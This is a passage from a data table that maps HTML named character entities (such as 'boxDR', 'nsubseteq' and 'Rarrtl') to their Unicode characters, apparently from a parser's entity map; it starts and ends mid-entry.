bigcup":"⋃","bigodot":"⨀","bigoplus":"⨁","bigotimes":"⨂","bigsqcup":"⨆","bigstar":"★","bigtriangledown":"▽","bigtriangleup":"△","biguplus":"⨄","bigvee":"⋁","bigwedge":"⋀","bkarow":"⤍","blacklozenge":"⧫","blacksquare":"▪","blacktriangle":"▴","blacktriangledown":"▾","blacktriangleleft":"◂","blacktriangleright":"▸","blank":"␣","blk12":"▒","blk14":"░","blk34":"▓","block":"█","bne":"=⃥","bnequiv":"≡⃥","bNot":"⫭","bnot":"⌐","Bopf":"𝔹","bopf":"𝕓","bot":"⊥","bottom":"⊥","bowtie":"⋈","boxbox":"⧉","boxdl":"┐","boxdL":"╕","boxDl":"╖","boxDL":"╗","boxdr":"┌","boxdR":"╒","boxDr":"╓","boxDR":"╔","boxh":"─","boxH":"═","boxhd":"┬","boxHd":"╤","boxhD":"╥","boxHD":"╦","boxhu":"┴","boxHu":"╧","boxhU":"╨","boxHU":"╩","boxminus":"⊟","boxplus":"⊞","boxtimes":"⊠","boxul":"┘","boxuL":"╛","boxUl":"╜","boxUL":"╝","boxur":"└","boxuR":"╘","boxUr":"╙","boxUR":"╚","boxv":"│","boxV":"║","boxvh":"┼","boxvH":"╪","boxVh":"╫","boxVH":"╬","boxvl":"┤","boxvL":"╡","boxVl":"╢","boxVL":"╣","boxvr":"├","boxvR":"╞","boxVr":"╟","boxVR":"╠","bprime":"‵","breve":"˘","Breve":"˘","brvbar":"¦","bscr":"𝒷","Bscr":"ℬ","bsemi":"⁏","bsim":"∽","bsime":"⋍","bsolb":"⧅","bsol":"\\\\","bsolhsub":"⟈","bull":"•","bullet":"•","bump":"≎","bumpE":"⪮","bumpe":"≏","Bumpeq":"≎","bumpeq":"≏","Cacute":"Ć","cacute":"ć","capand":"⩄","capbrcup":"⩉","capcap":"⩋","cap":"∩","Cap":"⋒","capcup":"⩇","capdot":"⩀","CapitalDifferentialD":"ⅅ","caps":"∩︀","caret":"⁁","caron":"ˇ","Cayleys":"ℭ","ccaps":"⩍","Ccaron":"Č","ccaron":"č","Ccedil":"Ç","ccedil":"ç","Ccirc":"Ĉ","ccirc":"ĉ","Cconint":"∰","ccups":"⩌","ccupssm":"⩐","Cdot":"Ċ","cdot":"ċ","cedil":"¸","Cedilla":"¸","cemptyv":"⦲","cent":"¢","centerdot":"·","CenterDot":"·","cfr":"𝔠","Cfr":"ℭ","CHcy":"Ч","chcy":"ч","check":"✓","checkmark":"✓","Chi":"Χ","chi":"χ","circ":"ˆ","circeq":"≗","circlearrowleft":"↺","circlearrowright":"↻","circledast":"⊛","circledcirc":"⊚","circleddash":"⊝","CircleDot":"⊙","circledR":"®","circledS":"Ⓢ","CircleMinus":"⊖","CirclePlus":"⊕","CircleTimes":"⊗","cir":"○","cirE":"⧃","cire":"≗","cirfnint":"⨐","cirmid":"⫯","cirscir":"⧂","ClockwiseContourIntegral":"∲","CloseCurlyDoubleQuote":"”","CloseCurlyQuote":"’","clubs":"♣","clubsuit":"♣","colon":":","Colon":"∷","Colone":"⩴","colone":"≔","coloneq":"≔","comma":",","commat":"@","comp":"∁","compfn":"∘","complement":"∁","complexes":"ℂ","cong":"≅","congdot":"⩭","Congruent":"≡","conint":"∮","Conint":"∯","ContourIntegral":"∮","copf":"𝕔","Copf":"ℂ","coprod":"∐","Coproduct":"∐","copy":"©","COPY":"©","copysr":"℗","CounterClockwiseContourIntegral":"∳","crarr":"↵","cross":"✗","Cross":"⨯","Cscr":"𝒞","cscr":"𝒸","csub":"⫏","csube":"⫑","csup":"⫐","csupe":"⫒","ctdot":"⋯","cudarrl":"⤸","cudarrr":"⤵","cuepr":"⋞","cuesc":"⋟","cularr":"↶","cularrp":"⤽","cupbrcap":"⩈","cupcap":"⩆","CupCap":"≍","cup":"∪","Cup":"⋓","cupcup":"⩊","cupdot":"⊍","cupor":"⩅","cups":"∪︀","curarr":"↷","curarrm":"⤼","curlyeqprec":"⋞","curlyeqsucc":"⋟","curlyvee":"⋎","curlywedge":"⋏","curren":"¤","curvearrowleft":"↶","curvearrowright":"↷","cuvee":"⋎","cuwed":"⋏","cwconint":"∲","cwint":"∱","cylcty":"⌭","dagger":"†","Dagger":"‡","daleth":"ℸ","darr":"↓","Darr":"↡","dArr":"⇓","dash":"‐","Dashv":"⫤","dashv":"⊣","dbkarow":"⤏","dblac":"˝","Dcaron":"Ď","dcaron":"ď","Dcy":"Д","dcy":"д","ddagger":"‡","ddarr":"⇊","DD":"ⅅ","dd":"ⅆ","DDotrahd":"⤑","ddotseq":"⩷","deg":"°","Del":"∇","Delta":"Δ","delta":"δ","demptyv":"⦱","dfisht":"⥿","Dfr":"𝔇","dfr":"𝔡","dHar":"⥥","dharl":"⇃","dharr":"⇂","DiacriticalAcute":"´","DiacriticalDot":"˙","DiacriticalDoubleAcute":"˝","DiacriticalGrave":"`","DiacriticalTilde":"˜","diam":"⋄","diamond":"⋄","Diamond":"⋄","diamondsuit":"♦","diams":"♦","die":"¨","DifferentialD":"ⅆ","digamma":"ϝ","disin":"⋲","div":"÷","divide":"÷","divideontimes":"⋇","divonx":"⋇","DJcy":"Ђ","djcy":"ђ","dlcorn":"⌞","dlcrop":"⌍","dollar":"$","Dopf":"𝔻","dopf":"𝕕","Dot":"¨","dot":"˙","DotDot":"⃜","doteq":"≐","doteqdot":"≑","DotEqual":"≐","dotminus":"∸","dotplus":"∔","dotsquare":"⊡","doublebarwedge":"⌆","DoubleContourIntegral":"∯","DoubleDot":"¨","DoubleDownArrow":"⇓","DoubleLeftArrow":"⇐","DoubleLeftRightArrow":"⇔","DoubleLeftTee":"⫤","DoubleLongLeftArrow":"⟸","DoubleLongLeftRightArrow":"⟺","DoubleLongRightArrow":"⟹","DoubleRightArrow":"⇒","DoubleRightTee":"⊨","DoubleUpArrow":"⇑","DoubleUpDownArrow":"⇕","DoubleVerticalBar":"∥","DownArrowBar":"⤓","downarrow":"↓","DownArrow":"↓","Downarrow":"⇓","DownArrowUpArrow":"⇵","DownBreve":"̑","downdownarrows":"⇊","downharpoonleft":"⇃","downharpoonright":"⇂","DownLeftRightVector":"⥐","DownLeftTeeVector":"⥞","DownLeftVectorBar":"⥖","DownLeftVector":"↽","DownRightTeeVector":"⥟","DownRightVectorBar":"⥗","DownRightVector":"⇁","DownTeeArrow":"↧","DownTee":"⊤","drbkarow":"⤐","drcorn":"⌟","drcrop":"⌌","Dscr":"𝒟","dscr":"𝒹","DScy":"Ѕ","dscy":"ѕ","dsol":"⧶","Dstrok":"Đ","dstrok":"đ","dtdot":"⋱","dtri":"▿","dtrif":"▾","duarr":"⇵","duhar":"⥯","dwangle":"⦦","DZcy":"Џ","dzcy":"џ","dzigrarr":"⟿","Eacute":"É","eacute":"é","easter":"⩮","Ecaron":"Ě","ecaron":"ě","Ecirc":"Ê","ecirc":"ê","ecir":"≖","ecolon":"≕","Ecy":"Э","ecy":"э","eDDot":"⩷","Edot":"Ė","edot":"ė","eDot":"≑","ee":"ⅇ","efDot":"≒","Efr":"𝔈","efr":"𝔢","eg":"⪚","Egrave":"È","egrave":"è","egs":"⪖","egsdot":"⪘","el":"⪙","Element":"∈","elinters":"⏧","ell":"ℓ","els":"⪕","elsdot":"⪗","Emacr":"Ē","emacr":"ē","empty":"∅","emptyset":"∅","EmptySmallSquare":"◻","emptyv":"∅","EmptyVerySmallSquare":"▫","emsp13":" ","emsp14":" ","emsp":" ","ENG":"Ŋ","eng":"ŋ","ensp":" ","Eogon":"Ę","eogon":"ę","Eopf":"𝔼","eopf":"𝕖","epar":"⋕","eparsl":"⧣","eplus":"⩱","epsi":"ε","Epsilon":"Ε","epsilon":"ε","epsiv":"ϵ","eqcirc":"≖","eqcolon":"≕","eqsim":"≂","eqslantgtr":"⪖","eqslantless":"⪕","Equal":"⩵","equals":"=","EqualTilde":"≂","equest":"≟","Equilibrium":"⇌","equiv":"≡","equivDD":"⩸","eqvparsl":"⧥","erarr":"⥱","erDot":"≓","escr":"ℯ","Escr":"ℰ","esdot":"≐","Esim":"⩳","esim":"≂","Eta":"Η","eta":"η","ETH":"Ð","eth":"ð","Euml":"Ë","euml":"ë","euro":"€","excl":"!","exist":"∃","Exists":"∃","expectation":"ℰ","exponentiale":"ⅇ","ExponentialE":"ⅇ","fallingdotseq":"≒","Fcy":"Ф","fcy":"ф","female":"♀","ffilig":"ffi","fflig":"ff","ffllig":"ffl","Ffr":"𝔉","ffr":"𝔣","filig":"fi","FilledSmallSquare":"◼","FilledVerySmallSquare":"▪","fjlig":"fj","flat":"♭","fllig":"fl","fltns":"▱","fnof":"ƒ","Fopf":"𝔽","fopf":"𝕗","forall":"∀","ForAll":"∀","fork":"⋔","forkv":"⫙","Fouriertrf":"ℱ","fpartint":"⨍","frac12":"½","frac13":"⅓","frac14":"¼","frac15":"⅕","frac16":"⅙","frac18":"⅛","frac23":"⅔","frac25":"⅖","frac34":"¾","frac35":"⅗","frac38":"⅜","frac45":"⅘","frac56":"⅚","frac58":"⅝","frac78":"⅞","frasl":"⁄","frown":"⌢","fscr":"𝒻","Fscr":"ℱ","gacute":"ǵ","Gamma":"Γ","gamma":"γ","Gammad":"Ϝ","gammad":"ϝ","gap":"⪆","Gbreve":"Ğ","gbreve":"ğ","Gcedil":"Ģ","Gcirc":"Ĝ","gcirc":"ĝ","Gcy":"Г","gcy":"г","Gdot":"Ġ","gdot":"ġ","ge":"≥","gE":"≧","gEl":"⪌","gel":"⋛","geq":"≥","geqq":"≧","geqslant":"⩾","gescc":"⪩","ges":"⩾","gesdot":"⪀","gesdoto":"⪂","gesdotol":"⪄","gesl":"⋛︀","gesles":"⪔","Gfr":"𝔊","gfr":"𝔤","gg":"≫","Gg":"⋙","ggg":"⋙","gimel":"ℷ","GJcy":"Ѓ","gjcy":"ѓ","gla":"⪥","gl":"≷","glE":"⪒","glj":"⪤","gnap":"⪊","gnapprox":"⪊","gne":"⪈","gnE":"≩","gneq":"⪈","gneqq":"≩","gnsim":"⋧","Gopf":"𝔾","gopf":"𝕘","grave":"`","GreaterEqual":"≥","GreaterEqualLess":"⋛","GreaterFullEqual":"≧","GreaterGreater":"⪢","GreaterLess":"≷","GreaterSlantEqual":"⩾","GreaterTilde":"≳","Gscr":"𝒢","gscr":"ℊ","gsim":"≳","gsime":"⪎","gsiml":"⪐","gtcc":"⪧","gtcir":"⩺","gt":">","GT":">","Gt":"≫","gtdot":"⋗","gtlPar":"⦕","gtquest":"⩼","gtrapprox":"⪆","gtrarr":"⥸","gtrdot":"⋗","gtreqless":"⋛","gtreqqless":"⪌","gtrless":"≷","gtrsim":"≳","gvertneqq":"≩︀","gvnE":"≩︀","Hacek":"ˇ","hairsp":" ","half":"½","hamilt":"ℋ","HARDcy":"Ъ","hardcy":"ъ","harrcir":"⥈","harr":"↔","hArr":"⇔","harrw":"↭","Hat":"^","hbar":"ℏ","Hcirc":"Ĥ","hcirc":"ĥ","hearts":"♥","heartsuit":"♥","hellip":"…","hercon":"⊹","hfr":"𝔥","Hfr":"ℌ","HilbertSpace":"ℋ","hksearow":"⤥","hkswarow":"⤦","hoarr":"⇿","homtht":"∻","hookleftarrow":"↩","hookrightarrow":"↪","hopf":"𝕙","Hopf":"ℍ","horbar":"―","HorizontalLine":"─","hscr":"𝒽","Hscr":"ℋ","hslash":"ℏ","Hstrok":"Ħ","hstrok":"ħ","HumpDownHump":"≎","HumpEqual":"≏","hybull":"⁃","hyphen":"‐","Iacute":"Í","iacute":"í","ic":"⁣","Icirc":"Î","icirc":"î","Icy":"И","icy":"и","Idot":"İ","IEcy":"Е","iecy":"е","iexcl":"¡","iff":"⇔","ifr":"𝔦","Ifr":"ℑ","Igrave":"Ì","igrave":"ì","ii":"ⅈ","iiiint":"⨌","iiint":"∭","iinfin":"⧜","iiota":"℩","IJlig":"IJ","ijlig":"ij","Imacr":"Ī","imacr":"ī","image":"ℑ","ImaginaryI":"ⅈ","imagline":"ℐ","imagpart":"ℑ","imath":"ı","Im":"ℑ","imof":"⊷","imped":"Ƶ","Implies":"⇒","incare":"℅","in":"∈","infin":"∞","infintie":"⧝","inodot":"ı","intcal":"⊺","int":"∫","Int":"∬","integers":"ℤ","Integral":"∫","intercal":"⊺","Intersection":"⋂","intlarhk":"⨗","intprod":"⨼","InvisibleComma":"⁣","InvisibleTimes":"⁢","IOcy":"Ё","iocy":"ё","Iogon":"Į","iogon":"į","Iopf":"𝕀","iopf":"𝕚","Iota":"Ι","iota":"ι","iprod":"⨼","iquest":"¿","iscr":"𝒾","Iscr":"ℐ","isin":"∈","isindot":"⋵","isinE":"⋹","isins":"⋴","isinsv":"⋳","isinv":"∈","it":"⁢","Itilde":"Ĩ","itilde":"ĩ","Iukcy":"І","iukcy":"і","Iuml":"Ï","iuml":"ï","Jcirc":"Ĵ","jcirc":"ĵ","Jcy":"Й","jcy":"й","Jfr":"𝔍","jfr":"𝔧","jmath":"ȷ","Jopf":"𝕁","jopf":"𝕛","Jscr":"𝒥","jscr":"𝒿","Jsercy":"Ј","jsercy":"ј","Jukcy":"Є","jukcy":"є","Kappa":"Κ","kappa":"κ","kappav":"ϰ","Kcedil":"Ķ","kcedil":"ķ","Kcy":"К","kcy":"к","Kfr":"𝔎","kfr":"𝔨","kgreen":"ĸ","KHcy":"Х","khcy":"х","KJcy":"Ќ","kjcy":"ќ","Kopf":"𝕂","kopf":"𝕜","Kscr":"𝒦","kscr":"𝓀","lAarr":"⇚","Lacute":"Ĺ","lacute":"ĺ","laemptyv":"⦴","lagran":"ℒ","Lambda":"Λ","lambda":"λ","lang":"⟨","Lang":"⟪","langd":"⦑","langle":"⟨","lap":"⪅","Laplacetrf":"ℒ","laquo":"«","larrb":"⇤","larrbfs":"⤟","larr":"←","Larr":"↞","lArr":"⇐","larrfs":"⤝","larrhk":"↩","larrlp":"↫","larrpl":"⤹","larrsim":"⥳","larrtl":"↢","latail":"⤙","lAtail":"⤛","lat":"⪫","late":"⪭","lates":"⪭︀","lbarr":"⤌","lBarr":"⤎","lbbrk":"❲","lbrace":"{","lbrack":"[","lbrke":"⦋","lbrksld":"⦏","lbrkslu":"⦍","Lcaron":"Ľ","lcaron":"ľ","Lcedil":"Ļ","lcedil":"ļ","lceil":"⌈","lcub":"{","Lcy":"Л","lcy":"л","ldca":"⤶","ldquo":"“","ldquor":"„","ldrdhar":"⥧","ldrushar":"⥋","ldsh":"↲","le":"≤","lE":"≦","LeftAngleBracket":"⟨","LeftArrowBar":"⇤","leftarrow":"←","LeftArrow":"←","Leftarrow":"⇐","LeftArrowRightArrow":"⇆","leftarrowtail":"↢","LeftCeiling":"⌈","LeftDoubleBracket":"⟦","LeftDownTeeVector":"⥡","LeftDownVectorBar":"⥙","LeftDownVector":"⇃","LeftFloor":"⌊","leftharpoondown":"↽","leftharpoonup":"↼","leftleftarrows":"⇇","leftrightarrow":"↔","LeftRightArrow":"↔","Leftrightarrow":"⇔","leftrightarrows":"⇆","leftrightharpoons":"⇋","leftrightsquigarrow":"↭","LeftRightVector":"⥎","LeftTeeArrow":"↤","LeftTee":"⊣","LeftTeeVector":"⥚","leftthreetimes":"⋋","LeftTriangleBar":"⧏","LeftTriangle":"⊲","LeftTriangleEqual":"⊴","LeftUpDownVector":"⥑","LeftUpTeeVector":"⥠","LeftUpVectorBar":"⥘","LeftUpVector":"↿","LeftVectorBar":"⥒","LeftVector":"↼","lEg":"⪋","leg":"⋚","leq":"≤","leqq":"≦","leqslant":"⩽","lescc":"⪨","les":"⩽","lesdot":"⩿","lesdoto":"⪁","lesdotor":"⪃","lesg":"⋚︀","lesges":"⪓","lessapprox":"⪅","lessdot":"⋖","lesseqgtr":"⋚","lesseqqgtr":"⪋","LessEqualGreater":"⋚","LessFullEqual":"≦","LessGreater":"≶","lessgtr":"≶","LessLess":"⪡","lesssim":"≲","LessSlantEqual":"⩽","LessTilde":"≲","lfisht":"⥼","lfloor":"⌊","Lfr":"𝔏","lfr":"𝔩","lg":"≶","lgE":"⪑","lHar":"⥢","lhard":"↽","lharu":"↼","lharul":"⥪","lhblk":"▄","LJcy":"Љ","ljcy":"љ","llarr":"⇇","ll":"≪","Ll":"⋘","llcorner":"⌞","Lleftarrow":"⇚","llhard":"⥫","lltri":"◺","Lmidot":"Ŀ","lmidot":"ŀ","lmoustache":"⎰","lmoust":"⎰","lnap":"⪉","lnapprox":"⪉","lne":"⪇","lnE":"≨","lneq":"⪇","lneqq":"≨","lnsim":"⋦","loang":"⟬","loarr":"⇽","lobrk":"⟦","longleftarrow":"⟵","LongLeftArrow":"⟵","Longleftarrow":"⟸","longleftrightarrow":"⟷","LongLeftRightArrow":"⟷","Longleftrightarrow":"⟺","longmapsto":"⟼","longrightarrow":"⟶","LongRightArrow":"⟶","Longrightarrow":"⟹","looparrowleft":"↫","looparrowright":"↬","lopar":"⦅","Lopf":"𝕃","lopf":"𝕝","loplus":"⨭","lotimes":"⨴","lowast":"∗","lowbar":"_","LowerLeftArrow":"↙","LowerRightArrow":"↘","loz":"◊","lozenge":"◊","lozf":"⧫","lpar":"(","lparlt":"⦓","lrarr":"⇆","lrcorner":"⌟","lrhar":"⇋","lrhard":"⥭","lrm":"‎","lrtri":"⊿","lsaquo":"‹","lscr":"𝓁","Lscr":"ℒ","lsh":"↰","Lsh":"↰","lsim":"≲","lsime":"⪍","lsimg":"⪏","lsqb":"[","lsquo":"‘","lsquor":"‚","Lstrok":"Ł","lstrok":"ł","ltcc":"⪦","ltcir":"⩹","lt":"<","LT":"<","Lt":"≪","ltdot":"⋖","lthree":"⋋","ltimes":"⋉","ltlarr":"⥶","ltquest":"⩻","ltri":"◃","ltrie":"⊴","ltrif":"◂","ltrPar":"⦖","lurdshar":"⥊","luruhar":"⥦","lvertneqq":"≨︀","lvnE":"≨︀","macr":"¯","male":"♂","malt":"✠","maltese":"✠","Map":"⤅","map":"↦","mapsto":"↦","mapstodown":"↧","mapstoleft":"↤","mapstoup":"↥","marker":"▮","mcomma":"⨩","Mcy":"М","mcy":"м","mdash":"—","mDDot":"∺","measuredangle":"∡","MediumSpace":" ","Mellintrf":"ℳ","Mfr":"𝔐","mfr":"𝔪","mho":"℧","micro":"µ","midast":"*","midcir":"⫰","mid":"∣","middot":"·","minusb":"⊟","minus":"−","minusd":"∸","minusdu":"⨪","MinusPlus":"∓","mlcp":"⫛","mldr":"…","mnplus":"∓","models":"⊧","Mopf":"𝕄","mopf":"𝕞","mp":"∓","mscr":"𝓂","Mscr":"ℳ","mstpos":"∾","Mu":"Μ","mu":"μ","multimap":"⊸","mumap":"⊸","nabla":"∇","Nacute":"Ń","nacute":"ń","nang":"∠⃒","nap":"≉","napE":"⩰̸","napid":"≋̸","napos":"ʼn","napprox":"≉","natural":"♮","naturals":"ℕ","natur":"♮","nbsp":" ","nbump":"≎̸","nbumpe":"≏̸","ncap":"⩃","Ncaron":"Ň","ncaron":"ň","Ncedil":"Ņ","ncedil":"ņ","ncong":"≇","ncongdot":"⩭̸","ncup":"⩂","Ncy":"Н","ncy":"н","ndash":"–","nearhk":"⤤","nearr":"↗","neArr":"⇗","nearrow":"↗","ne":"≠","nedot":"≐̸","NegativeMediumSpace":"​","NegativeThickSpace":"​","NegativeThinSpace":"​","NegativeVeryThinSpace":"​","nequiv":"≢","nesear":"⤨","nesim":"≂̸","NestedGreaterGreater":"≫","NestedLessLess":"≪","NewLine":"\\n","nexist":"∄","nexists":"∄","Nfr":"𝔑","nfr":"𝔫","ngE":"≧̸","nge":"≱","ngeq":"≱","ngeqq":"≧̸","ngeqslant":"⩾̸","nges":"⩾̸","nGg":"⋙̸","ngsim":"≵","nGt":"≫⃒","ngt":"≯","ngtr":"≯","nGtv":"≫̸","nharr":"↮","nhArr":"⇎","nhpar":"⫲","ni":"∋","nis":"⋼","nisd":"⋺","niv":"∋","NJcy":"Њ","njcy":"њ","nlarr":"↚","nlArr":"⇍","nldr":"‥","nlE":"≦̸","nle":"≰","nleftarrow":"↚","nLeftarrow":"⇍","nleftrightarrow":"↮","nLeftrightarrow":"⇎","nleq":"≰","nleqq":"≦̸","nleqslant":"⩽̸","nles":"⩽̸","nless":"≮","nLl":"⋘̸","nlsim":"≴","nLt":"≪⃒","nlt":"≮","nltri":"⋪","nltrie":"⋬","nLtv":"≪̸","nmid":"∤","NoBreak":"⁠","NonBreakingSpace":" ","nopf":"𝕟","Nopf":"ℕ","Not":"⫬","not":"¬","NotCongruent":"≢","NotCupCap":"≭","NotDoubleVerticalBar":"∦","NotElement":"∉","NotEqual":"≠","NotEqualTilde":"≂̸","NotExists":"∄","NotGreater":"≯","NotGreaterEqual":"≱","NotGreaterFullEqual":"≧̸","NotGreaterGreater":"≫̸","NotGreaterLess":"≹","NotGreaterSlantEqual":"⩾̸","NotGreaterTilde":"≵","NotHumpDownHump":"≎̸","NotHumpEqual":"≏̸","notin":"∉","notindot":"⋵̸","notinE":"⋹̸","notinva":"∉","notinvb":"⋷","notinvc":"⋶","NotLeftTriangleBar":"⧏̸","NotLeftTriangle":"⋪","NotLeftTriangleEqual":"⋬","NotLess":"≮","NotLessEqual":"≰","NotLessGreater":"≸","NotLessLess":"≪̸","NotLessSlantEqual":"⩽̸","NotLessTilde":"≴","NotNestedGreaterGreater":"⪢̸","NotNestedLessLess":"⪡̸","notni":"∌","notniva":"∌","notnivb":"⋾","notnivc":"⋽","NotPrecedes":"⊀","NotPrecedesEqual":"⪯̸","NotPrecedesSlantEqual":"⋠","NotReverseElement":"∌","NotRightTriangleBar":"⧐̸","NotRightTriangle":"⋫","NotRightTriangleEqual":"⋭","NotSquareSubset":"⊏̸","NotSquareSubsetEqual":"⋢","NotSquareSuperset":"⊐̸","NotSquareSupersetEqual":"⋣","NotSubset":"⊂⃒","NotSubsetEqual":"⊈","NotSucceeds":"⊁","NotSucceedsEqual":"⪰̸","NotSucceedsSlantEqual":"⋡","NotSucceedsTilde":"≿̸","NotSuperset":"⊃⃒","NotSupersetEqual":"⊉","NotTilde":"≁","NotTildeEqual":"≄","NotTildeFullEqual":"≇","NotTildeTilde":"≉","NotVerticalBar":"∤","nparallel":"∦","npar":"∦","nparsl":"⫽⃥","npart":"∂̸","npolint":"⨔","npr":"⊀","nprcue":"⋠","nprec":"⊀","npreceq":"⪯̸","npre":"⪯̸","nrarrc":"⤳̸","nrarr":"↛","nrArr":"⇏","nrarrw":"↝̸","nrightarrow":"↛","nRightarrow":"⇏","nrtri":"⋫","nrtrie":"⋭","nsc":"⊁","nsccue":"⋡","nsce":"⪰̸","Nscr":"𝒩","nscr":"𝓃","nshortmid":"∤","nshortparallel":"∦","nsim":"≁","nsime":"≄","nsimeq":"≄","nsmid":"∤","nspar":"∦","nsqsube":"⋢","nsqsupe":"⋣","nsub":"⊄","nsubE":"⫅̸","nsube":"⊈","nsubset":"⊂⃒","nsubseteq":"⊈","nsubseteqq":"⫅̸","nsucc":"⊁","nsucceq":"⪰̸","nsup":"⊅","nsupE":"⫆̸","nsupe":"⊉","nsupset":"⊃⃒","nsupseteq":"⊉","nsupseteqq":"⫆̸","ntgl":"≹","Ntilde":"Ñ","ntilde":"ñ","ntlg":"≸","ntriangleleft":"⋪","ntrianglelefteq":"⋬","ntriangleright":"⋫","ntrianglerighteq":"⋭","Nu":"Ν","nu":"ν","num":"#","numero":"№","numsp":" ","nvap":"≍⃒","nvdash":"⊬","nvDash":"⊭","nVdash":"⊮","nVDash":"⊯","nvge":"≥⃒","nvgt":">⃒","nvHarr":"⤄","nvinfin":"⧞","nvlArr":"⤂","nvle":"≤⃒","nvlt":"<⃒","nvltrie":"⊴⃒","nvrArr":"⤃","nvrtrie":"⊵⃒","nvsim":"∼⃒","nwarhk":"⤣","nwarr":"↖","nwArr":"⇖","nwarrow":"↖","nwnear":"⤧","Oacute":"Ó","oacute":"ó","oast":"⊛","Ocirc":"Ô","ocirc":"ô","ocir":"⊚","Ocy":"О","ocy":"о","odash":"⊝","Odblac":"Ő","odblac":"ő","odiv":"⨸","odot":"⊙","odsold":"⦼","OElig":"Œ","oelig":"œ","ofcir":"⦿","Ofr":"𝔒","ofr":"𝔬","ogon":"˛","Ograve":"Ò","ograve":"ò","ogt":"⧁","ohbar":"⦵","ohm":"Ω","oint":"∮","olarr":"↺","olcir":"⦾","olcross":"⦻","oline":"‾","olt":"⧀","Omacr":"Ō","omacr":"ō","Omega":"Ω","omega":"ω","Omicron":"Ο","omicron":"ο","omid":"⦶","ominus":"⊖","Oopf":"𝕆","oopf":"𝕠","opar":"⦷","OpenCurlyDoubleQuote":"“","OpenCurlyQuote":"‘","operp":"⦹","oplus":"⊕","orarr":"↻","Or":"⩔","or":"∨","ord":"⩝","order":"ℴ","orderof":"ℴ","ordf":"ª","ordm":"º","origof":"⊶","oror":"⩖","orslope":"⩗","orv":"⩛","oS":"Ⓢ","Oscr":"𝒪","oscr":"ℴ","Oslash":"Ø","oslash":"ø","osol":"⊘","Otilde":"Õ","otilde":"õ","otimesas":"⨶","Otimes":"⨷","otimes":"⊗","Ouml":"Ö","ouml":"ö","ovbar":"⌽","OverBar":"‾","OverBrace":"⏞","OverBracket":"⎴","OverParenthesis":"⏜","para":"¶","parallel":"∥","par":"∥","parsim":"⫳","parsl":"⫽","part":"∂","PartialD":"∂","Pcy":"П","pcy":"п","percnt":"%","period":".","permil":"‰","perp":"⊥","pertenk":"‱","Pfr":"𝔓","pfr":"𝔭","Phi":"Φ","phi":"φ","phiv":"ϕ","phmmat":"ℳ","phone":"☎","Pi":"Π","pi":"π","pitchfork":"⋔","piv":"ϖ","planck":"ℏ","planckh":"ℎ","plankv":"ℏ","plusacir":"⨣","plusb":"⊞","pluscir":"⨢","plus":"+","plusdo":"∔","plusdu":"⨥","pluse":"⩲","PlusMinus":"±","plusmn":"±","plussim":"⨦","plustwo":"⨧","pm":"±","Poincareplane":"ℌ","pointint":"⨕","popf":"𝕡","Popf":"ℙ","pound":"£","prap":"⪷","Pr":"⪻","pr":"≺","prcue":"≼","precapprox":"⪷","prec":"≺","preccurlyeq":"≼","Precedes":"≺","PrecedesEqual":"⪯","PrecedesSlantEqual":"≼","PrecedesTilde":"≾","preceq":"⪯","precnapprox":"⪹","precneqq":"⪵","precnsim":"⋨","pre":"⪯","prE":"⪳","precsim":"≾","prime":"′","Prime":"″","primes":"ℙ","prnap":"⪹","prnE":"⪵","prnsim":"⋨","prod":"∏","Product":"∏","profalar":"⌮","profline":"⌒","profsurf":"⌓","prop":"∝","Proportional":"∝","Proportion":"∷","propto":"∝","prsim":"≾","prurel":"⊰","Pscr":"𝒫","pscr":"𝓅","Psi":"Ψ","psi":"ψ","puncsp":" ","Qfr":"𝔔","qfr":"𝔮","qint":"⨌","qopf":"𝕢","Qopf":"ℚ","qprime":"⁗","Qscr":"𝒬","qscr":"𝓆","quaternions":"ℍ","quatint":"⨖","quest":"?","questeq":"≟","quot":"\\"","QUOT":"\\"","rAarr":"⇛","race":"∽̱","Racute":"Ŕ","racute":"ŕ","radic":"√","raemptyv":"⦳","rang":"⟩","Rang":"⟫","rangd":"⦒","range":"⦥","rangle":"⟩","raquo":"»","rarrap":"⥵","rarrb":"⇥","rarrbfs":"⤠","rarrc":"⤳","rarr":"→","Rarr":"↠","rArr":"⇒","rarrfs":"⤞","rarrhk":"↪","rarrlp":"↬","rarrpl":"⥅","rarrsim":"⥴","Rarrtl":"⤖","rarrtl":"↣","rarrw":"↝","ratail":"⤚","rAtail":"⤜","ratio":"∶","rationals":"ℚ","rbarr":"⤍","rBarr":"⤏","RBarr":"⤐","rbbrk":"❳","rbrace":"}","rbrack":"]","rbrke":"⦌","rbrksld":"⦎","rbrkslu":"⦐","Rcaron":"Ř","rcaron":"ř","Rcedil":"Ŗ","rcedil":"ŗ","rceil":"⌉","rcub":"}","Rcy":"Р","rcy":"р","rdca":"⤷","rdldhar":"⥩","rdquo":"”","rdquor":"”","rdsh":"↳","real":"ℜ","realine":"ℛ","realpart":"ℜ","reals":"ℝ","Re":"ℜ","rect":"▭","reg":"®","REG":"®","ReverseElement":"∋","ReverseEquilibrium":"⇋","ReverseUpEquilibrium":"⥯","rfisht":"⥽","rfloor":"⌋","rfr":"𝔯","Rfr":"ℜ","rHar":"⥤","rhard":"⇁","rharu":"⇀","rharul":"⥬","Rho":"Ρ","rho":"ρ","rhov":"ϱ","RightAngleBracket":"⟩","RightArrowBar":"⇥","rightarrow":"→","RightArrow":"→","Rightarrow":"⇒","RightArrowLeftArrow":"⇄","rightarrowtail":"↣","RightCeiling":"⌉","RightDoubleBracket":"⟧","RightDownTeeVector":"⥝","RightDownVectorBar":"⥕","RightDownVector":"⇂","RightFloor":"⌋","rightharpoondown":"⇁","rightharpoonup":"⇀","rightleftarrows":"⇄","rightleftharpoons":"⇌","rightrightarrows":"⇉","rightsquigarrow":"↝","RightTeeArrow":"↦","RightTee":"⊢","RightTeeVector":"⥛","rightthreetimes":"⋌","RightTriangleBar":"⧐","RightTriangle":"⊳","RightTriangleEqual":"⊵","RightUpDownVector":"⥏","RightUpTeeVector":"⥜","RightUpVectorBar":"⥔","RightUpVector":"↾","RightVectorBar":"⥓","RightVector":"⇀","ring":"˚","risingdotseq":"≓","rlarr":"⇄","rlhar":"⇌","rlm":"‏","rmoustache":"⎱","rmoust":"⎱","rnmid":"⫮","roang":"⟭","roarr":"⇾","robrk":"⟧","ropar":"⦆","ropf":"𝕣","Ropf":"ℝ","roplus":"⨮","rotimes":"⨵","RoundImplies":"⥰","rpar":")","rpargt":"⦔","rppolint":"⨒","rrarr":"⇉","Rrightarrow":"⇛","rsaquo":"›","rscr":"𝓇","Rscr":"ℛ","rsh":"↱","Rsh":"↱","rsqb":"]","rsquo":"’","rsquor":"’","rthree":"⋌","rtimes":"⋊","rtri":"▹","rtrie":"⊵","rtrif":"▸","rtri